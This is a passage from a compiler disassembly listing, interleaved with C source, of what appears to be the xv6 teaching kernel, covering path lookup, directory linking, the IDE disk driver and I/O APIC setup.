if((next = dirlookup(ip, name, 0)) == 0){
80101d3b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101d42: 00
80101d43: 89 7c 24 04 mov %edi,0x4(%esp)
80101d47: 89 34 24 mov %esi,(%esp)
80101d4a: e8 51 fe ff ff call 80101ba0 <dirlookup>
80101d4f: 85 c0 test %eax,%eax
80101d51: 74 5d je 80101db0 <namex+0x150>
iunlock(ip);
80101d53: 89 34 24 mov %esi,(%esp)
80101d56: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d59: e8 12 fa ff ff call 80101770 <iunlock>
iput(ip);
80101d5e: 89 34 24 mov %esi,(%esp)
80101d61: e8 4a fa ff ff call 801017b0 <iput>
iunlockput(ip);
return 0;
}
iunlockput(ip);
ip = next;
80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d69: 89 c6 mov %eax,%esi
80101d6b: e9 33 ff ff ff jmp 80101ca3 <namex+0x43>
while(*path != '/' && *path != 0)
80101d70: 31 c9 xor %ecx,%ecx
80101d72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
memmove(name, s, len);
80101d78: 89 4c 24 08 mov %ecx,0x8(%esp)
80101d7c: 89 5c 24 04 mov %ebx,0x4(%esp)
80101d80: 89 3c 24 mov %edi,(%esp)
80101d83: 89 55 dc mov %edx,-0x24(%ebp)
80101d86: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d89: e8 72 25 00 00 call 80104300 <memmove>
name[len] = 0;
80101d8e: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101d91: 8b 55 dc mov -0x24(%ebp),%edx
80101d94: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101d98: 89 d3 mov %edx,%ebx
80101d9a: e9 66 ff ff ff jmp 80101d05 <namex+0xa5>
}
if(nameiparent){
80101d9f: 8b 45 e0 mov -0x20(%ebp),%eax
80101da2: 85 c0 test %eax,%eax
80101da4: 75 4c jne 80101df2 <namex+0x192>
80101da6: 89 f0 mov %esi,%eax
iput(ip);
return 0;
}
return ip;
}
80101da8: 83 c4 2c add $0x2c,%esp
80101dab: 5b pop %ebx
80101dac: 5e pop %esi
80101dad: 5f pop %edi
80101dae: 5d pop %ebp
80101daf: c3 ret
iunlock(ip);
80101db0: 89 34 24 mov %esi,(%esp)
80101db3: e8 b8 f9 ff ff call 80101770 <iunlock>
iput(ip);
80101db8: 89 34 24 mov %esi,(%esp)
80101dbb: e8 f0 f9 ff ff call 801017b0 <iput>
}
80101dc0: 83 c4 2c add $0x2c,%esp
return 0;
80101dc3: 31 c0 xor %eax,%eax
}
80101dc5: 5b pop %ebx
80101dc6: 5e pop %esi
80101dc7: 5f pop %edi
80101dc8: 5d pop %ebp
80101dc9: c3 ret
ip = iget(ROOTDEV, ROOTINO);
80101dca: ba 01 00 00 00 mov $0x1,%edx
80101dcf: b8 01 00 00 00 mov $0x1,%eax
80101dd4: e8 17 f4 ff ff call 801011f0 <iget>
80101dd9: 89 c6 mov %eax,%esi
80101ddb: e9 c3 fe ff ff jmp 80101ca3 <namex+0x43>
iunlock(ip);
80101de0: 89 34 24 mov %esi,(%esp)
80101de3: e8 88 f9 ff ff call 80101770 <iunlock>
}
80101de8: 83 c4 2c add $0x2c,%esp
return ip;
80101deb: 89 f0 mov %esi,%eax
}
80101ded: 5b pop %ebx
80101dee: 5e pop %esi
80101def: 5f pop %edi
80101df0: 5d pop %ebp
80101df1: c3 ret
iput(ip);
80101df2: 89 34 24 mov %esi,(%esp)
80101df5: e8 b6 f9 ff ff call 801017b0 <iput>
return 0;
80101dfa: 31 c0 xor %eax,%eax
80101dfc: eb aa jmp 80101da8 <namex+0x148>
80101dfe: 66 90 xchg %ax,%ax
80101e00 <dirlink>:
{
80101e00: 55 push %ebp
80101e01: 89 e5 mov %esp,%ebp
80101e03: 57 push %edi
80101e04: 56 push %esi
80101e05: 53 push %ebx
80101e06: 83 ec 2c sub $0x2c,%esp
80101e09: 8b 5d 08 mov 0x8(%ebp),%ebx
if((ip = dirlookup(dp, name, 0)) != 0){
80101e0c: 8b 45 0c mov 0xc(%ebp),%eax
80101e0f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101e16: 00
80101e17: 89 1c 24 mov %ebx,(%esp)
80101e1a: 89 44 24 04 mov %eax,0x4(%esp)
80101e1e: e8 7d fd ff ff call 80101ba0 <dirlookup>
80101e23: 85 c0 test %eax,%eax
80101e25: 0f 85 8b 00 00 00 jne 80101eb6 <dirlink+0xb6>
for(off = 0; off < dp->size; off += sizeof(de)){
80101e2b: 8b 43 58 mov 0x58(%ebx),%eax
80101e2e: 31 ff xor %edi,%edi
80101e30: 8d 75 d8 lea -0x28(%ebp),%esi
80101e33: 85 c0 test %eax,%eax
80101e35: 75 13 jne 80101e4a <dirlink+0x4a>
80101e37: eb 35 jmp 80101e6e <dirlink+0x6e>
80101e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101e40: 8d 57 10 lea 0x10(%edi),%edx
80101e43: 39 53 58 cmp %edx,0x58(%ebx)
80101e46: 89 d7 mov %edx,%edi
80101e48: 76 24 jbe 80101e6e <dirlink+0x6e>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e4a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e51: 00
80101e52: 89 7c 24 08 mov %edi,0x8(%esp)
80101e56: 89 74 24 04 mov %esi,0x4(%esp)
80101e5a: 89 1c 24 mov %ebx,(%esp)
80101e5d: e8 de fa ff ff call 80101940 <readi>
80101e62: 83 f8 10 cmp $0x10,%eax
80101e65: 75 5e jne 80101ec5 <dirlink+0xc5>
if(de.inum == 0)
80101e67: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e6c: 75 d2 jne 80101e40 <dirlink+0x40>
strncpy(de.name, name, DIRSIZ);
80101e6e: 8b 45 0c mov 0xc(%ebp),%eax
80101e71: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101e78: 00
80101e79: 89 44 24 04 mov %eax,0x4(%esp)
80101e7d: 8d 45 da lea -0x26(%ebp),%eax
80101e80: 89 04 24 mov %eax,(%esp)
80101e83: e8 68 25 00 00 call 801043f0 <strncpy>
de.inum = inum;
80101e88: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e8b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e92: 00
80101e93: 89 7c 24 08 mov %edi,0x8(%esp)
80101e97: 89 74 24 04 mov %esi,0x4(%esp)
80101e9b: 89 1c 24 mov %ebx,(%esp)
de.inum = inum;
80101e9e: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101ea2: e8 99 fb ff ff call 80101a40 <writei>
80101ea7: 83 f8 10 cmp $0x10,%eax
80101eaa: 75 25 jne 80101ed1 <dirlink+0xd1>
return 0;
80101eac: 31 c0 xor %eax,%eax
}
80101eae: 83 c4 2c add $0x2c,%esp
80101eb1: 5b pop %ebx
80101eb2: 5e pop %esi
80101eb3: 5f pop %edi
80101eb4: 5d pop %ebp
80101eb5: c3 ret
iput(ip);
80101eb6: 89 04 24 mov %eax,(%esp)
80101eb9: e8 f2 f8 ff ff call 801017b0 <iput>
return -1;
80101ebe: b8 ff ff ff ff mov $0xffffffff,%eax
80101ec3: eb e9 jmp 80101eae <dirlink+0xae>
panic("dirlink read");
80101ec5: c7 04 24 68 6f 10 80 movl $0x80106f68,(%esp)
80101ecc: e8 8f e4 ff ff call 80100360 <panic>
panic("dirlink");
80101ed1: c7 04 24 66 75 10 80 movl $0x80107566,(%esp)
80101ed8: e8 83 e4 ff ff call 80100360 <panic>
80101edd: 8d 76 00 lea 0x0(%esi),%esi
80101ee0 <namei>:
struct inode*
namei(char *path)
{
80101ee0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101ee1: 31 d2 xor %edx,%edx
{
80101ee3: 89 e5 mov %esp,%ebp
80101ee5: 83 ec 18 sub $0x18,%esp
return namex(path, 0, name);
80101ee8: 8b 45 08 mov 0x8(%ebp),%eax
80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx
80101eee: e8 6d fd ff ff call 80101c60 <namex>
}
80101ef3: c9 leave
80101ef4: c3 ret
80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f00 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f00: 55 push %ebp
return namex(path, 1, name);
80101f01: ba 01 00 00 00 mov $0x1,%edx
{
80101f06: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f0b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f0e: 5d pop %ebp
return namex(path, 1, name);
80101f0f: e9 4c fd ff ff jmp 80101c60 <namex>
80101f14: 66 90 xchg %ax,%ax
80101f16: 66 90 xchg %ax,%ax
80101f18: 66 90 xchg %ax,%ax
80101f1a: 66 90 xchg %ax,%ax
80101f1c: 66 90 xchg %ax,%ax
80101f1e: 66 90 xchg %ax,%ax
80101f20 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101f20: 55 push %ebp
80101f21: 89 e5 mov %esp,%ebp
80101f23: 56 push %esi
80101f24: 89 c6 mov %eax,%esi
80101f26: 53 push %ebx
80101f27: 83 ec 10 sub $0x10,%esp
if(b == 0)
80101f2a: 85 c0 test %eax,%eax
80101f2c: 0f 84 99 00 00 00 je 80101fcb <idestart+0xab>
panic("idestart");
if(b->blockno >= FSSIZE)
80101f32: 8b 48 08 mov 0x8(%eax),%ecx
80101f35: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101f3b: 0f 87 7e 00 00 00 ja 80101fbf <idestart+0x9f>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f41: ba f7 01 00 00 mov $0x1f7,%edx
80101f46: 66 90 xchg %ax,%ax
80101f48: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f49: 83 e0 c0 and $0xffffffc0,%eax
80101f4c: 3c 40 cmp $0x40,%al
80101f4e: 75 f8 jne 80101f48 <idestart+0x28>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f50: 31 db xor %ebx,%ebx
80101f52: ba f6 03 00 00 mov $0x3f6,%edx
80101f57: 89 d8 mov %ebx,%eax
80101f59: ee out %al,(%dx)
80101f5a: ba f2 01 00 00 mov $0x1f2,%edx
80101f5f: b8 01 00 00 00 mov $0x1,%eax
80101f64: ee out %al,(%dx)
80101f65: 0f b6 c1 movzbl %cl,%eax
80101f68: b2 f3 mov $0xf3,%dl
80101f6a: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101f6b: 89 c8 mov %ecx,%eax
80101f6d: b2 f4 mov $0xf4,%dl
80101f6f: c1 f8 08 sar $0x8,%eax
80101f72: ee out %al,(%dx)
80101f73: b2 f5 mov $0xf5,%dl
80101f75: 89 d8 mov %ebx,%eax
80101f77: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101f78: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101f7c: b2 f6 mov $0xf6,%dl
80101f7e: 83 e0 01 and $0x1,%eax
80101f81: c1 e0 04 shl $0x4,%eax
80101f84: 83 c8 e0 or $0xffffffe0,%eax
80101f87: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101f88: f6 06 04 testb $0x4,(%esi)
80101f8b: 75 13 jne 80101fa0 <idestart+0x80>
80101f8d: ba f7 01 00 00 mov $0x1f7,%edx
80101f92: b8 20 00 00 00 mov $0x20,%eax
80101f97: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101f98: 83 c4 10 add $0x10,%esp
80101f9b: 5b pop %ebx
80101f9c: 5e pop %esi
80101f9d: 5d pop %ebp
80101f9e: c3 ret
80101f9f: 90 nop
80101fa0: b2 f7 mov $0xf7,%dl
80101fa2: b8 30 00 00 00 mov $0x30,%eax
80101fa7: ee out %al,(%dx)
asm volatile("cld; rep outsl" :
80101fa8: b9 80 00 00 00 mov $0x80,%ecx
outsl(0x1f0, b->data, BSIZE/4);
80101fad: 83 c6 5c add $0x5c,%esi
80101fb0: ba f0 01 00 00 mov $0x1f0,%edx
80101fb5: fc cld
80101fb6: f3 6f rep outsl %ds:(%esi),(%dx)
}
80101fb8: 83 c4 10 add $0x10,%esp
80101fbb: 5b pop %ebx
80101fbc: 5e pop %esi
80101fbd: 5d pop %ebp
80101fbe: c3 ret
panic("incorrect blockno");
80101fbf: c7 04 24 d4 6f 10 80 movl $0x80106fd4,(%esp)
80101fc6: e8 95 e3 ff ff call 80100360 <panic>
panic("idestart");
80101fcb: c7 04 24 cb 6f 10 80 movl $0x80106fcb,(%esp)
80101fd2: e8 89 e3 ff ff call 80100360 <panic>
80101fd7: 89 f6 mov %esi,%esi
80101fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101fe0 <ideinit>:
{
80101fe0: 55 push %ebp
80101fe1: 89 e5 mov %esp,%ebp
80101fe3: 83 ec 18 sub $0x18,%esp
initlock(&idelock, "ide");
80101fe6: c7 44 24 04 e6 6f 10 movl $0x80106fe6,0x4(%esp)
80101fed: 80
80101fee: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80101ff5: e8 36 20 00 00 call 80104030 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
80101ffa: a1 00 2d 11 80 mov 0x80112d00,%eax
80101fff: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102006: 83 e8 01 sub $0x1,%eax
80102009: 89 44 24 04 mov %eax,0x4(%esp)
8010200d: e8 7e 02 00 00 call 80102290 <ioapicenable>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102012: ba f7 01 00 00 mov $0x1f7,%edx
80102017: 90 nop
80102018: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102019: 83 e0 c0 and $0xffffffc0,%eax
8010201c: 3c 40 cmp $0x40,%al
8010201e: 75 f8 jne 80102018 <ideinit+0x38>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102020: ba f6 01 00 00 mov $0x1f6,%edx
80102025: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010202a: ee out %al,(%dx)
8010202b: b9 e8 03 00 00 mov $0x3e8,%ecx
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102030: b2 f7 mov $0xf7,%dl
80102032: eb 09 jmp 8010203d <ideinit+0x5d>
80102034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<1000; i++){
80102038: 83 e9 01 sub $0x1,%ecx
8010203b: 74 0f je 8010204c <ideinit+0x6c>
8010203d: ec in (%dx),%al
if(inb(0x1f7) != 0){
8010203e: 84 c0 test %al,%al
80102040: 74 f6 je 80102038 <ideinit+0x58>
havedisk1 = 1;
80102042: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102049: 00 00 00
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010204c: ba f6 01 00 00 mov $0x1f6,%edx
80102051: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102056: ee out %al,(%dx)
}
80102057: c9 leave
80102058: c3 ret
80102059: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102060 <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
80102060: 55 push %ebp
80102061: 89 e5 mov %esp,%ebp
80102063: 57 push %edi
80102064: 56 push %esi
80102065: 53 push %ebx
80102066: 83 ec 1c sub $0x1c,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102069: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102070: e8 ab 20 00 00 call 80104120 <acquire>
if((b = idequeue) == 0){
80102075: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
8010207b: 85 db test %ebx,%ebx
8010207d: 74 30 je 801020af <ideintr+0x4f>
release(&idelock);
return;
}
idequeue = b->qnext;
8010207f: 8b 43 58 mov 0x58(%ebx),%eax
80102082: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102087: 8b 33 mov (%ebx),%esi
80102089: f7 c6 04 00 00 00 test $0x4,%esi
8010208f: 74 37 je 801020c8 <ideintr+0x68>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
80102091: 83 e6 fb and $0xfffffffb,%esi
80102094: 83 ce 02 or $0x2,%esi
80102097: 89 33 mov %esi,(%ebx)
wakeup(b);
80102099: 89 1c 24 mov %ebx,(%esp)
8010209c: e8 cf 1c 00 00 call 80103d70 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
801020a1: a1 64 a5 10 80 mov 0x8010a564,%eax
801020a6: 85 c0 test %eax,%eax
801020a8: 74 05 je 801020af <ideintr+0x4f>
idestart(idequeue);
801020aa: e8 71 fe ff ff call 80101f20 <idestart>
release(&idelock);
801020af: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
801020b6: e8 55 21 00 00 call 80104210 <release>
release(&idelock);
}
801020bb: 83 c4 1c add $0x1c,%esp
801020be: 5b pop %ebx
801020bf: 5e pop %esi
801020c0: 5f pop %edi
801020c1: 5d pop %ebp
801020c2: c3 ret
801020c3: 90 nop
801020c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020c8: ba f7 01 00 00 mov $0x1f7,%edx
801020cd: 8d 76 00 lea 0x0(%esi),%esi
801020d0: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020d1: 89 c1 mov %eax,%ecx
801020d3: 83 e1 c0 and $0xffffffc0,%ecx
801020d6: 80 f9 40 cmp $0x40,%cl
801020d9: 75 f5 jne 801020d0 <ideintr+0x70>
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020db: a8 21 test $0x21,%al
801020dd: 75 b2 jne 80102091 <ideintr+0x31>
insl(0x1f0, b->data, BSIZE/4);
801020df: 8d 7b 5c lea 0x5c(%ebx),%edi
asm volatile("cld; rep insl" :
801020e2: b9 80 00 00 00 mov $0x80,%ecx
801020e7: ba f0 01 00 00 mov $0x1f0,%edx
801020ec: fc cld
801020ed: f3 6d rep insl (%dx),%es:(%edi)
801020ef: 8b 33 mov (%ebx),%esi
801020f1: eb 9e jmp 80102091 <ideintr+0x31>
801020f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801020f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102100 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102100: 55 push %ebp
80102101: 89 e5 mov %esp,%ebp
80102103: 53 push %ebx
80102104: 83 ec 14 sub $0x14,%esp
80102107: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010210a: 8d 43 0c lea 0xc(%ebx),%eax
8010210d: 89 04 24 mov %eax,(%esp)
80102110: e8 eb 1e 00 00 call 80104000 <holdingsleep>
80102115: 85 c0 test %eax,%eax
80102117: 0f 84 9e 00 00 00 je 801021bb <iderw+0xbb>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010211d: 8b 03 mov (%ebx),%eax
8010211f: 83 e0 06 and $0x6,%eax
80102122: 83 f8 02 cmp $0x2,%eax
80102125: 0f 84 a8 00 00 00 je 801021d3 <iderw+0xd3>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010212b: 8b 53 04 mov 0x4(%ebx),%edx
8010212e: 85 d2 test %edx,%edx
80102130: 74 0d je 8010213f <iderw+0x3f>
80102132: a1 60 a5 10 80 mov 0x8010a560,%eax
80102137: 85 c0 test %eax,%eax
80102139: 0f 84 88 00 00 00 je 801021c7 <iderw+0xc7>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
8010213f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102146: e8 d5 1f 00 00 call 80104120 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010214b: a1 64 a5 10 80 mov 0x8010a564,%eax
b->qnext = 0;
80102150: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102157: 85 c0 test %eax,%eax
80102159: 75 07 jne 80102162 <iderw+0x62>
8010215b: eb 4e jmp 801021ab <iderw+0xab>
8010215d: 8d 76 00 lea 0x0(%esi),%esi
80102160: 89 d0 mov %edx,%eax
80102162: 8b 50 58 mov 0x58(%eax),%edx
80102165: 85 d2 test %edx,%edx
80102167: 75 f7 jne 80102160 <iderw+0x60>
80102169: 83 c0 58 add $0x58,%eax
;
*pp = b;
8010216c: 89 18 mov %ebx,(%eax)
// Start disk if necessary.
if(idequeue == b)
8010216e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
80102174: 74 3c je 801021b2 <iderw+0xb2>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102176: 8b 03 mov (%ebx),%eax
80102178: 83 e0 06 and $0x6,%eax
8010217b: 83 f8 02 cmp $0x2,%eax
8010217e: 74 1a je 8010219a <iderw+0x9a>
sleep(b, &idelock);
80102180: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp)
80102187: 80
80102188: 89 1c 24 mov %ebx,(%esp)
8010218b: e8 50 1a 00 00 call 80103be0 <sleep>
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102190: 8b 13 mov (%ebx),%edx
80102192: 83 e2 06 and $0x6,%edx
80102195: 83 fa 02 cmp $0x2,%edx
80102198: 75 e6 jne 80102180 <iderw+0x80>
}
release(&idelock);
8010219a: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
801021a1: 83 c4 14 add $0x14,%esp
801021a4: 5b pop %ebx
801021a5: 5d pop %ebp
release(&idelock);
801021a6: e9 65 20 00 00 jmp 80104210 <release>
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021ab: b8 64 a5 10 80 mov $0x8010a564,%eax
801021b0: eb ba jmp 8010216c <iderw+0x6c>
idestart(b);
801021b2: 89 d8 mov %ebx,%eax
801021b4: e8 67 fd ff ff call 80101f20 <idestart>
801021b9: eb bb jmp 80102176 <iderw+0x76>
panic("iderw: buf not locked");
801021bb: c7 04 24 ea 6f 10 80 movl $0x80106fea,(%esp)
801021c2: e8 99 e1 ff ff call 80100360 <panic>
panic("iderw: ide disk 1 not present");
801021c7: c7 04 24 15 70 10 80 movl $0x80107015,(%esp)
801021ce: e8 8d e1 ff ff call 80100360 <panic>
panic("iderw: nothing to do");
801021d3: c7 04 24 00 70 10 80 movl $0x80107000,(%esp)
801021da: e8 81 e1 ff ff call 80100360 <panic>
801021df: 90 nop
801021e0 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
801021e0: 55 push %ebp
801021e1: 89 e5 mov %esp,%ebp
801021e3: 56 push %esi
801021e4: 53 push %ebx
801021e5: 83 ec 10 sub $0x10,%esp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
801021e8: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634
801021ef: 00 c0 fe
ioapic->reg = reg;
801021f2: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
801021f9: 00 00 00
return ioapic->data;
801021fc: 8b 15 34 26 11 80 mov 0x80112634,%edx
80102202: 8b 42 10 mov 0x10(%edx),%eax
ioapic->reg = reg;
80102205: c7 02 00 00 00 00 movl $0x0,(%edx)
return ioapic->data;
8010220b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
80102211: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102218: c1 e8 10 shr $0x10,%eax
8010221b: 0f b6 f0 movzbl %al,%esi
return ioapic->data;
8010221e: 8b 43 10 mov 0x10(%ebx),%eax
id = ioapicread(REG_ID) >> 24;
80102221: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102224: 39 c2 cmp %eax,%edx
80102226: 74 12 je 8010223a <ioapicinit+0x5a>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102228: c7 04 24 34 70 10 80 movl $0x80107034,(%esp)
8010222f: e8 1c e4 ff ff call 80100650 <cprintf>
80102234: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
8010223a: ba 10 00 00 00 mov $0x10,%edx
8010223f: 31 c0 xor %eax,%eax
80102241: eb 07 jmp 8010224a <ioapicinit+0x6a>
80102243: 90 nop
80102244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102248: 89 cb mov %ecx,%ebx
ioapic->reg = reg;
8010224a: 89 13 mov %edx,(%ebx)
ioapic->data = data;
8010224c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
80102252: 8d 48 20 lea 0x20(%eax),%ecx
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102255: 81 c9 00 00 01 00 or $0x10000,%ecx
for(i = 0; i <= maxintr; i++){
8010225b: 83 c0 01 add $0x1,%eax
ioapic->data = data;
8010225e: 89 4b 10 mov %ecx,0x10(%ebx)
80102261: 8d 4a 01 lea 0x1(%edx),%ecx
80102264: 83 c2 02 add $0x2,%edx
ioapic->reg = reg;
80102267: 89 0b mov %ecx,(%ebx)
ioapic->data = data;
80102269: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
for(i = 0; i <= maxintr; i++){
8010226f: 39 c6 cmp %eax,%esi
ioapic->data = data;
80102271: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
for(i = 0; i <= maxintr; i++){
80102278: 7d ce jge 80102248 <ioapicinit+0x68>
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
8010227a: 83 c4 10 add $0x10,%esp
8010227d: 5b pop %ebx
8010227e: 5e pop %esi
8010227f: 5d pop %ebp
80102280: c3 ret
80102281: eb 0d jmp 80102290 <ioapicenable>
80102283: 90 nop
80102284: 90 nop
80102285: 90 nop
80102286: 90 nop
80102287: 90 nop
80102288: 90 nop
80102289: 90 nop
8010228a: 90 nop
8010228b: 90 nop
8010228c: 90 nop
8010228d: 90 nop
8010228e: 90 nop
8010228f: 90 nop
80102290 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80102290: 55 push %ebp
80102291: 89 e5 mov %esp,%ebp
80102293: 8b 55 08 mov 0x8(%ebp),%edx
80102296: 53 push %ebx
80102297: 8b 45 0c mov 0xc(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
8010229a: 8d 5a 20 lea 0x20(%edx),%ebx
8010229d: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx
ioapic->reg = reg;
801022a1: 8b 15 34 26 11 80 mov 0x80112634,%edx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022a7: c1 e0 18 shl $0x18,%eax
ioapic->reg = reg;
801022aa: 89 0a mov %ecx,(%edx)
ioapic->data = data;
801022ac: 8b 15 34 26 11 80 mov 0x80112634,%edx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022b2: 83 c1 01 add $0x1,%ecx
ioapic->data = data;
801022b5: 89 5a 10 mov %ebx,0x10(%edx)
ioapic->reg = reg;
801022b8: 89 0a mov %ecx,(%edx)
ioapic->data = data;
801022ba: 8b 15 34 26 11 80 mov 0x80112634,%edx
801022c0: 89 42 10 mov %eax,0x10(%edx)
}
801022c3: 5b pop %ebx
801022c4: 5d pop %ebp
801022c5: c3 ret
801022c6: 66 90 xchg %ax,%ax
801022c8: 66 90 xchg %ax,%ax
801022ca: 66 90 xchg %ax,%ax
801022cc: 66 90 xchg %ax,%ax
801022ce: 66 90 xchg %ax,%ax
801022d0 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
801022d0: 55 push %ebp
801022d1: 89 e5 mov %esp,%ebp
801022d3: 53 push %ebx
801022d4: 83 ec 14 sub $0x14,%esp
801022d7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
801022da: f7 c3 ff 0f 00 00 test $0xfff,%ebx
801022e0: 75 7c jne 8010235e <kfree+0x8e>
